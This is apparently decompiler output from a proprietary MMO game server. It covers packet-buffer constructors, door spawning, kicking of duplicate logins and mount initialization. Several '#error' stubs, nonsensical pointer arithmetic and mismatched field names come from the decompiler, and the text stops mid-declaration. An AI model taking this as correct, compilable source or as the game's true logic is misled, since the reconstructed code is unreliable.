BriefInfoExchanger::BriefInfoExchangeCharacter::BriefInfoExchangeCharacter(BriefInfoExchanger::BriefInfoExchangeCharacter *this) { BriefInfoExchanger::BriefInfoExchangeCharacter *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = this->bixc_Packetbuffer; v1->bixc_Packet.pp_Buffer = v2; v1->bixc_nc = (NETCOMMAND *)v2; v1->bixc_Packet.pp_PacketLength = 0; v1->bixc_Packet.pp_BufferSize = 4557; *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bixc_nc->protocol = v1->bixc_nc->protocol & 0xFC07 | 7; v1->bixc_Pointer = (PROTO_NC_BRIEFINFO_CHARACTER_CMD *)&v1->bixc_nc[1]; } //----- (004291F0) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeMob::BriefInfoExchangeMob(BriefInfoExchanger::BriefInfoExchangeMob *this) { BriefInfoExchanger::BriefInfoExchangeMob *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = this->bixm_Packetbuffer; v1->bixm_Packet.pp_Buffer = v2; v1->bixm_nc = (NETCOMMAND *)v2; v1->bixm_Packet.pp_PacketLength = 0; v1->bixm_Packet.pp_BufferSize = 2077; *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bixm_nc->protocol = v1->bixm_nc->protocol & 0xFC09 | 9; v1->bixm_Pointer = (PROTO_NC_BRIEFINFO_MOB_CMD *)&v1->bixm_nc[1]; } //----- (00429250) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeMob::bixm_Init(BriefInfoExchanger::BriefInfoExchangeMob *this) { PROTO_NC_BRIEFINFO_MOB_CMD *v1; // eax@2 if ( this->bixm_Pointer ) { this->bixm_Pointer->mobnum = 0; } else { this->bixm_Packet.pp_Buffer = this->bixm_Packetbuffer; this->bixm_nc = (NETCOMMAND *)this->bixm_Packetbuffer; this->bixm_Packet.pp_BufferSize = 2077; *(_WORD *)&this->bixm_Packetbuffer[0] = *(_WORD *)&this->bixm_Packetbuffer[0] & 0x3FF | 0x1C00; this->bixm_nc->protocol = this->bixm_nc->protocol & 0xFC09 | 9; v1 = (PROTO_NC_BRIEFINFO_MOB_CMD *)&this->bixm_nc[1]; this->bixm_Pointer = v1; v1->mobnum = 0; } } //----- (004292C0) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeDoor::BriefInfoExchangeDoor(BriefInfoExchanger::BriefInfoExchangeDoor *this) { BriefInfoExchanger::BriefInfoExchangeDoor *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = this->bixd_Packetbuffer; v1->bixd_Packet.pp_Buffer = v2; v1->bixd_nc = (NETCOMMAND *)v2; v1->bixd_Packet.pp_PacketLength = 0; v1->bixd_Packet.pp_BufferSize = 1488; *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bixd_nc->protocol = v1->bixd_nc->protocol & 0xFC10 | 0x10; v1->bixd_Pointer = (PROTO_NC_BRIEFINFO_DOOR_CMD *)&v1->bixd_nc[1]; } //----- (00429320) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeEffect::BriefInfoExchangeEffect(BriefInfoExchanger::BriefInfoExchangeEffect *this) { BriefInfoExchanger::BriefInfoExchangeEffect *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = this->bixe_Packetbuffer; v1->bixe_Packet.pp_Buffer = v2; v1->bixe_nc = (NETCOMMAND *)v2; v1->bixe_Packet.pp_PacketLength = 0; v1->bixe_Packet.pp_BufferSize = 1457; *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bixe_nc->protocol = v1->bixe_nc->protocol & 0xFC12 | 0x12; v1->bixe_Pointer = (PROTO_NC_BRIEFINFO_EFFECT_CMD *)&v1->bixe_nc[1]; } //----- (00429380) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeItem::BriefInfoExchangeItem(BriefInfoExchanger::BriefInfoExchangeItem *this) { BriefInfoExchanger::BriefInfoExchangeItem *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = this->bixi_Packetbuffer; v1->bixi_Packet.pp_Buffer = v2; v1->bixi_nc = (NETCOMMAND *)v2; v1->bixi_Packet.pp_PacketLength = 0; v1->bixi_Packet.pp_BufferSize = 465; *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bixi_nc->protocol = v1->bixi_nc->protocol & 0xFC0B | 0xB; v1->bixi_Pointer = (PROTO_NC_BRIEFINFO_ITEMONFIELD_CMD *)&v1->bixi_nc[1]; } //----- (004293E0) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeMagicField::BriefInfoExchangeMagicField(BriefInfoExchanger::BriefInfoExchangeMagicField *this) { BriefInfoExchanger::BriefInfoExchangeMagicField *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = this->bixmfm_Packetbuffer; v1->bixmfm_Packet.pp_Buffer = v2; v1->bixmfm_nc = (NETCOMMAND *)v2; v1->bixmfm_Packet.pp_PacketLength = 0; v1->bixmfm_Packet.pp_BufferSize = 496; *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bixmfm_nc->protocol = v1->bixmfm_nc->protocol & 0xFC0D | 0xD; v1->bixmfm_Pointer = (PROTO_NC_BRIEFINFO_MAGICFIELDINFO_CMD *)&v1->bixmfm_nc[1]; } //----- (00429440) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeMiniHouse::BriefInfoExchangeMiniHouse(BriefInfoExchanger::BriefInfoExchangeMiniHouse *this) { BriefInfoExchanger::BriefInfoExchangeMiniHouse *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = this->bixc_Packetbuffer; v1->bixmh_Packet.pp_Buffer = v2; v1->bixmh_nc = (NETCOMMAND *)v2; v1->bixmh_Packet.pp_PacketLength = 0; v1->bixmh_Packet.pp_BufferSize = 1860; *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bixmh_nc->protocol = v1->bixmh_nc->protocol & 0xFC14 | 0x14; v1->bixmh_Pointer = (PROTO_NC_BRIEFINFO_MINIHOUSE_CMD *)&v1->bixmh_nc[1]; } //----- (004294A0) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::bixaPacketbuffer::bixaPacketbuffer(BriefInfoExchanger::BriefInfoExchangeAbstate::bixaPacketbuffer *this) { this->bixa_Packet.pp_Buffer = 0; this->bixa_Packet.pp_PacketLength = 0; } //----- (004294B0) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::_BriefInfoExchangeAbstate(BriefInfoExchanger::BriefInfoExchangeAbstate *this) { _eh_vector_destructor_iterator_( this, 0x17Cu, 30, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (004294D0) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Init(BriefInfoExchanger::BriefInfoExchangeAbstate *this) { char *v1; // eax@2 signed int v2; // edi@2 PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *v3; // edx@3 PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *v4; // edx@3 PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *v5; // edx@3 PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *v6; // edx@3 PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *v7; // edx@3 PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *v8; // edx@3 PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *v9; // eax@4 if ( !this->bixa_Pointer ) { v1 = (char *)&this->bixa_Packetbuffer[2].bixa_Packet.pp_BufferSize; v2 = 5; do { *((_DWORD *)v1 - 190) = 365; *((_DWORD *)v1 - 191) = v1 - 752; *((_WORD *)v1 - 376) = 7193; this->bixa_nc = (NETCOMMAND *)(v1 - 752); v3 = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(*((_DWORD *)v1 - 191) + 2); this->bixa_Pointer = v3; v3->handle = -1; this->bixa_Pointer->count = 0; *((_DWORD *)v1 - 95) = 365; *((_DWORD *)v1 - 96) = v1 - 372; *((_WORD *)v1 - 186) = 7193; this->bixa_nc = (NETCOMMAND *)(v1 - 372); v4 = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(*((_DWORD *)v1 - 96) + 2); this->bixa_Pointer = v4; v4->handle = -1; this->bixa_Pointer->count = 0; *(_DWORD *)v1 = 365; *((_DWORD *)v1 - 1) = v1 + 8; *((_WORD *)v1 + 4) = 7193; this->bixa_nc = (NETCOMMAND *)(v1 + 8); v5 = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(*((_DWORD *)v1 - 1) + 2); this->bixa_Pointer = v5; v5->handle = -1; this->bixa_Pointer->count = 0; *((_DWORD *)v1 + 95) = 365; *((_DWORD *)v1 + 94) = v1 + 388; *((_WORD *)v1 + 194) = 7193; this->bixa_nc = (NETCOMMAND *)(v1 + 388); v6 = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(*((_DWORD *)v1 + 94) + 2); this->bixa_Pointer = v6; v6->handle = -1; this->bixa_Pointer->count = 0; *((_DWORD *)v1 + 190) = 365; *((_DWORD *)v1 + 189) = v1 + 768; *((_WORD *)v1 + 384) = 7193; this->bixa_nc = (NETCOMMAND *)(v1 + 768); v7 = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(*((_DWORD *)v1 + 189) + 2); this->bixa_Pointer = v7; v7->handle = -1; this->bixa_Pointer->count = 0; *((_DWORD *)v1 + 285) = 365; *((_DWORD *)v1 + 284) = v1 + 1148; *((_WORD *)v1 + 574) = 7193; this->bixa_nc = (NETCOMMAND *)(v1 + 1148); v8 = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(*((_DWORD *)v1 + 284) + 2); this->bixa_Pointer = v8; v8->handle = -1; v1 += 2280; --v2; this->bixa_Pointer->count = 0; } while ( v2 ); v9 = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(this->bixa_Packetbuffer[0].bixa_Packet.pp_Buffer + 2); this->bixa_count = 0; this->bixa_Pointer = v9; } } //----- (00429670) -------------------------------------------------------- void __thiscall CalculateBroadcastDistance::CalculateBroadcastDistance(CalculateBroadcastDistance *this) { int v1; // esi@1 int v2; // eax@1 unsigned __int64 v3; // qax@2 v1 = 1; v2 = 1 - this->cbd_MinDist; this->cbd_DistSquar[0] = 2560000; if ( (unsigned int)v2 < 0x1F4 ) { do { v3 = (unsigned __int64)sqrt((double)((signed int)&wholesaver.ws_savestore[840].esc_abstate.buffer[10216] / v1)); if ( (unsigned int)v3 <= 0x640 ) this->cbd_DistSquar[v1 - this->cbd_MinDist] = v3 * v3; else this->cbd_MinDist = v1; ++v1; } while ( (unsigned int)(v1 - this->cbd_MinDist) < 0x1F4 ); } } //----- (004296F0) -------------------------------------------------------- void __thiscall BriefInfoBackup::BriefInfoBackup(BriefInfoBackup *this) { this->bib_Backuped = 0; } //----- (00429700) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_FromWhere(int this, char connectfrom) { char result; // al@1 result = connectfrom; *(_BYTE *)(this + 92244) = connectfrom; return result; } //----- (00429710) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_GetFromWhere(int this) { return *(_BYTE *)(this + 92244); } //----- (00429720) -------------------------------------------------------- void __thiscall AxialListGhostBan::_AxialListGhostBan(AxialListGhostBan *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListGhostBan::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5A8800: using guessed type int (__stdcall *AxialListGhostBan___vftable_)(int, int, int distancesquar); //----- (00429730) -------------------------------------------------------- #error "429730: undefined or illegal type '#325' (funcsize=32)" //----- (00429790) -------------------------------------------------------- CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetItemID(ChargedItemEffectDataBox *this, unsigned __int16 itemid) { int v2; // edx@1 int v3; // eax@1 CIDEB_Element *v4; // esi@2 CIDEB_Element *v5; // ecx@2 CIDEB_Element *result; // eax@5 v2 = this->cideb_Total; v3 = 0; if ( v2 <= 0 ) { LABEL_5: result = 0; } else { v4 = this->cideb_Array; v5 = this->cideb_Array; while ( v5->ce_ItemID != itemid ) { ++v3; ++v5; if ( v3 >= v2 ) goto LABEL_5; } result = &v4[v3]; } return result; } //----- (004297D0) -------------------------------------------------------- void *__thiscall Observer::_vector_deleting_destructor_(Observer *this, unsigned int a2) { void *v2; // esi@1 v2 = this; Observer::_Observer(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004297F0) -------------------------------------------------------- char __thiscall ItemBoxIterItem::ibi_isvalid(ItemBoxIterItem *this) { return *(_WORD *)((**(int (__stdcall ***)(_DWORD))this->baseclass_0.ibi_itembag)(this->baseclass_0.ibi_finger) + 8) != -1; } //----- (00429810) -------------------------------------------------------- char __thiscall ItemBoxIterEmpty::ibi_isvalid(ItemBoxIterEmpty *this) { return *(_WORD *)((**(int (__stdcall ***)(_DWORD))this->baseclass_0.ibi_itembag)(this->baseclass_0.ibi_finger) + 8) == -1; } //----- (00429830) -------------------------------------------------------- char __thiscall ItemBoxIterIdent::ibi_isvalid(ItemBoxIterIdent *this) { return *(_WORD *)((**(int (__stdcall ***)(_DWORD))this->baseclass_0.ibi_itembag)(this->baseclass_0.ibi_finger) + 8) == this->ibii_ident; } //----- (00429850) -------------------------------------------------------- #error "429850: undefined or illegal type '#325' (funcsize=26)" //----- (004298B0) -------------------------------------------------------- #error "4298B0: undefined or illegal type '#740' (funcsize=17)" //----- (004298E0) -------------------------------------------------------- FieldMap::FM_MarkingError __thiscall ShineObjectClass::ShineDoor::so_door_Build(ShineObjectClass::ShineDoor *this, Name3 *pmap, int x, int y, int dir, unsigned __int16 handle, unsigned __int16 mobid, int scale) { ShineObjectClass::ShineDoor *v8; // esi@1 int v9; // eax@1 PROTO_NC_BRIEFINFO_BUILDDOOR_CMD *v10; // edx@3 int v11; // ST00_4@3 MobDataBox::MobDataBoxIndex *v12; // eax@3 FieldMap::FM_MarkingError result; // eax@4 FieldMap::FM_MarkingError v14; // edi@5 int v15; // eax@8 int v16; // eax@8 v8 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_door_Build"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDoor::so_door_Build"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)&v8->gap0[102] = 0; *(_QWORD *)&v8->sd_Locate.currentmap.n3_name[0] = *(_QWORD *)&pmap->n3_name[0]; *(_DWORD *)&v8->sd_Locate.currentmap.n3_name[8] = *(_DWORD *)&pmap->n3_name[8]; v8->sd_Locate.currentcoord.xy.x = x; v9 = dir / 2; v8->sd_Locate.currentcoord.xy.y = y; if ( dir / 2 < 0 ) LOBYTE(v9) = v9 - 76; v10 = v8->sd_DoorBriefInfo.bid_BriefInfo; v8->sd_Locate.currentcoord.dir = v9; v10->coord.xy.x = v8->sd_Locate.currentcoord.xy.x; v10->coord.xy.y = v8->sd_Locate.currentcoord.xy.y; v8->sd_DoorBriefInfo.bid_BriefInfo->coord.dir = v8->sd_Locate.currentcoord.dir; v8->sd_DoorBriefInfo.bid_BriefInfo->doorstate = 0; v11 = (int)&v8->sd_DoorBriefInfo.bid_BriefInfo->blockindex; *(_DWORD *)&v8->sd_DoorBriefInfo.bid_BriefInfo->blockindex.n8_name[28] = 0; *(_DWORD *)(v11 + 24) = 0; *(_DWORD *)(v11 + 20) = 0; *(_DWORD *)(v11 + 16) = 0; *(_DWORD *)(v11 + 12) = 0; *(_DWORD *)(v11 + 8) = 0; *(_DWORD *)(v11 + 4) = 0; *(_DWORD *)v11 = 0; strncpy((char *)v11, byte_5A62A6, 0x20u); v12 = MobDataBox::operator__(&mobdatabox, mobid); v8->sd_MobDataBox = v12; if ( v12 != 0 ) { v14 = ShineObjectClass::ShineObject::so_MapMarking(v8, 1); if ( v14 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_door_Build"); result = v14; } else { v8->sd_HP = v8->sd_MobDataBox->data->MaxHP; v8->sd_DoorBriefInfo.bid_BriefInfo->handle = handle; v8->sd_DoorBriefInfo.bid_BriefInfo->mobid = mobid; v8->sd_DoorBriefInfo.bid_BriefInfo->scale = scale; (*(void (__thiscall **)(ShineObjectClass::ShineDoor *, _DWORD))(*(_DWORD *)&v8->gap0[0] + 1704))(v8, handle); if ( *(_DWORD *)&v8->gap0[144] != 3 ) { v15 = *(_DWORD *)&v8->gap0[140]; *(_DWORD *)&v8->gap0[168] = 0; *(_DWORD *)&v8->gap0[172] = 0; *(_DWORD *)&v8->gap0[176] = 0; *(_DWORD *)&v8->gap0[180] = 0; *(_DWORD *)&v8->gap0[184] = 0; *(_DWORD *)&v8->gap0[148] = 0; *(_DWORD *)&v8->gap0[144] = 0; v16 = *(_DWORD *)(v15 + 78); *(_DWORD *)&v8->gap0[160] = *(_DWORD *)v16; *(_DWORD *)&v8->gap0[164] = *(_DWORD *)(v16 + 4); } *(_WORD *)&v8->gap0[102] = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_door_Build"); result = 0; } } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineDoor::so_door_Build : Not in MobDataBox", 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_door_Build"); result = 3; } return result; } // 448D30: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MapMarking(_DWORD, _DWORD); //----- (00429B60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_KeepFromDoubleLogin(void *this) { void *v1; // ebp@1 List *v2; // ebx@1 DebugLogging *v3; // eax@2 ListStruct *v4; // ecx@3 unsigned __int16 v5; // ax@3 unsigned __int16 v6; // si@3 int v7; // eax@5 int v8; // edi@6 int v9; // ST28_4@8 DebugLogging *v10; // esi@9 _iobuf *v11; // eax@11 _iobuf *v12; // eax@16 char *v13; // [sp-12h] [bp-30h]@2 unsigned __int16 li_2; // [sp+4h] [bp-1Ah]@3 void *v15; // [sp+6h] [bp-18h]@1 v1 = this; v15 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KeepFromDoubleLogin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_KeepFromDoubleLogin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = dword_124E32CC; if ( dword_124E32CC ) { v4 = dword_124E32CC->l_Array; v5 = v4[dword_124E32CC->l_Finger.store].ls_Next; v6 = v4[v5].ls_Next; li_2 = v4[v5].ls_Next; while ( v5 < v2->l_MaxSize ) { v7 = (int)&v2->l_Array[v5]; if ( !*(_BYTE *)(v7 + 8) ) break; v8 = *(_DWORD *)v7; if ( !*(_DWORD *)v7 ) break; if ( *(_WORD *)(v8 + 4) != *((_WORD *)v1 + 2) ) { v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v8 + 840))(v8); if ( v9 == (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 840))(v1) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v8 + 836))(v8); v10 = DebugLogging::operator<<(&MoreDisconnectLog, "Kick by double connect "); if ( DebugLogging::dl_ActivAll ) { if ( v10->dl_Activ ) { DebugLogging::dl_FilePoint(v10); v11 = v10->dl_FilePointer; if ( v11 ) fprintf(v11, "%d"); } if ( DebugLogging::dl_ActivAll && v10->dl_Activ && v10->dl_FilePointer ) { v12 = DebugLogging::dl_FilePoint(v10); fputc(10, v12); fflush(v10->dl_FilePointer); fclose(v10->dl_FilePointer); v10->dl_FilePointer = 0; } } (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v8 + 1468))(v8, 1); v6 = li_2; } v1 = v15; } if ( v6 >= v2->l_MaxSize ) break; v5 = v6; li_2 = v2->l_Array[v6].ls_Next; v6 = v2->l_Array[v6].ls_Next; } v13 = "ShineObjectClass::ShinePlayer::sp_KeepFromDoubleLogin"; } else { v3 = DebugLogging::operator<<( &MoreDisconnectLog, "ShineObjectClass::ShinePlayer::sp_KeepFromDoubleLogin : List Null"); DebugLogging::operator<<(v3, &deb_LF); v13 = "ShineObjectClass::ShinePlayer::sp_KeepFromDoubleLogin"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v13); } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00429D80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_2Roumen(void *this) { void *v1; // edi@1 int v2; // ecx@1 unsigned int v3; // eax@3 char *v4; // eax@3 FieldOption::FieldAttr *v5; // esi@3 unsigned int v6; // eax@5 char *v7; // eax@5 FieldOption::FieldAttr *v8; // eax@5 char *v9; // [sp-10h] [bp-F4h]@2 NPCManager::LinkInformTemplete lnkinf; // [sp+4h] [bp-E0h]@7 char Dest; // [sp+80h] [bp-64h]@4 char v12; // [sp+A1h] [bp-43h]@4 int v13; // [sp+C2h] [bp-22h]@4 int v14; // [sp+C6h] [bp-1Eh]@4 unsigned int v15; // [sp+D4h] [bp-10h]@9 int v16; // [sp+E0h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_2Roumen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_2Roumen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)((char *)v1 + 98); v16 = 0; if ( v2 ) { v3 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v3; v4 = (char *)&namestring + 256 * v3; *(_DWORD *)v4 = *(_DWORD *)v2; *((_DWORD *)v4 + 1) = *(_DWORD *)(v2 + 4); *((_DWORD *)v4 + 2) = *(_DWORD *)(v2 + 8); v4[12] = 0; v5 = FieldOption::fo_GetFieldAttr(&::this, v4); if ( v5 ) { v6 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v6; v7 = (char *)&namestring + 256 * v6; *(_DWORD *)v7 = *(_DWORD *)&v5->regencity.n3_name[0]; *((_DWORD *)v7 + 1) = *(_DWORD *)&v5->regencity.n3_name[4]; *((_DWORD *)v7 + 2) = *(_DWORD *)&v5->regencity.n3_name[8]; v7[12] = 0; v8 = FieldOption::fo_GetFieldAttr(&::this, v7); if ( v8 ) v5 = v8; *(_DWORD *)&lnkinf.linktoserver[0] = *(_DWORD *)&v5->regencity.n3_name[0]; *(_DWORD *)&lnkinf.linktoserver[4] = *(_DWORD *)&v5->regencity.n3_name[4]; *(_DWORD *)&lnkinf.linktoserver[8] = *(_DWORD *)&v5->regencity.n3_name[8]; lnkinf.linktoserver[12] = 0; *(_DWORD *)&lnkinf.linktoclient[0] = *(_DWORD *)&v5->regencity.n3_name[0]; *(_DWORD *)&lnkinf.linktoclient[4] = *(_DWORD *)&v5->regencity.n3_name[4]; *(_DWORD *)&lnkinf.linktoclient[8] = *(_DWORD *)&v5->regencity.n3_name[8]; lnkinf.linktoclient[12] = 0; lnkinf.coordx = *(_DWORD *)&v5->regenloc[0].PKer; lnkinf.coordy = *(_DWORD *)&v5->regenloc[0].Summoned; } else { strncpy(&Dest, "Rou", 0xCu); strncpy(&v12, "Rou", 0xCu); v13 = 4134; v14 = 6488; } (*(void (__thiscall **)(void *, NPCManager::LinkInformTemplete *, _DWORD))(*(_DWORD *)v1 + 1000))(v1, &lnkinf, 0); v9 = "ShineObjectClass::ShinePlayer::sp_2Roumen"; } else { v9 = "ShineObjectClass::ShinePlayer::sp_2Roumen"; } --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); __security_check_cookie(v15); } //----- (00429F60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_RideInitialize(void *ecx0) { void *v1; // esi@1 int v2; // edx@1 char v3; // cl@1 int v4; // edi@4 CIDEB_Element *v5; // eax@7 int v6; // edx@9 int v7; // eax@10 int v8; // ecx@10 int v9; // eax@11 int v10; // eax@15 ItemBoxIterItem ibii; // [sp+Ch] [bp-2Ch]@2 ItemBoxIterItem this; // [sp+1Ch] [bp-1Ch]@10 int v13; // [sp+34h] [bp-4h]@1 v1 = ecx0; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RideInitialize"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_RideInitialize"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)((char *)v1 + 98); *((_WORD *)v1 + 46067) = -1; *((_WORD *)v1 + 46066) = -1; v3 = *(_BYTE *)(*(_DWORD *)(v2 + 12) + 164); v13 = 0; if ( v3 ) { ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = (ItemBag *)((char *)v1 + 35536); ibii.baseclass_0.ibi_Limit = (*(int (**)(void))(*((_DWORD *)v1 + 8884) + 8))(); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; LOBYTE(v13) = 1; ibii.baseclass_0.ibi_finger = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) || ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ) { while ( 1 ) { v4 = ((int (__stdcall *)(int))ibii.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(ibii.baseclass_0.ibi_finger); if ( (unsigned __int8)(*(int (__stdcall **)(int))(**(_DWORD **)(v4 + 112) + 92))(v4 + 8) ) break; if ( !ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ) goto LABEL_17; } *((_WORD *)v1 + 46067) = LOWORD(ibii.baseclass_0.ibi_finger); v5 = ChargedItemEffectDataBox::cideb_GetItemID(&ridedatabox, *(_WORD *)(v4 + 8)); *((_DWORD *)v1 + 23034) = v5; if ( v5 != 0 ) { ShineObjectClass::ShinePlayer::sp_HorseOn(v1, 0); v6 = *((_DWORD *)v1 + 929); *((_WORD *)v1 + 46066) = -1; *(_BYTE *)v6 = 6; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_RideInitialize : Null Ride", 0); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; } } } else { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1156))(v1); v8 = (int)((char *)v1 + 35536); this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; this.baseclass_0.ibi_itembag = (ItemBag *)((char *)v1 + 35536); if ( v7 ) v9 = (*(int (__stdcall **)(int))(*(_DWORD *)v8 + 4))(v7); else v9 = (*(int (**)(void))(*(_DWORD *)v8 + 8))(); this.baseclass_0.ibi_Limit = v9; this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; LOBYTE(v13) = 2; this.baseclass_0.ibi_finger = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&this) || ItemBoxIterator::ibi_Next(&this.baseclass_0) ) { do { v10 = ((int (__stdcall *)(int))this.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(this.baseclass_0.ibi_finger); (*(void (__stdcall **)(int, _DWORD))(**(_DWORD **)(v10 + 112) + 96))(v10 + 8, 0); } while ( ItemBoxIterator::ibi_Next(&this.baseclass_0) ); } this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; } LABEL_17: --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RideInitialize"); } // 5A87E4: invalid function type has been ignored // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87E4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (0042A190) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_ply_WeaponSpeedSet() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeaponSpeedSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_WeaponSpeedSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeaponSpeedSet"); } //----- (0042A1D0) -------------------------------------------------------- void 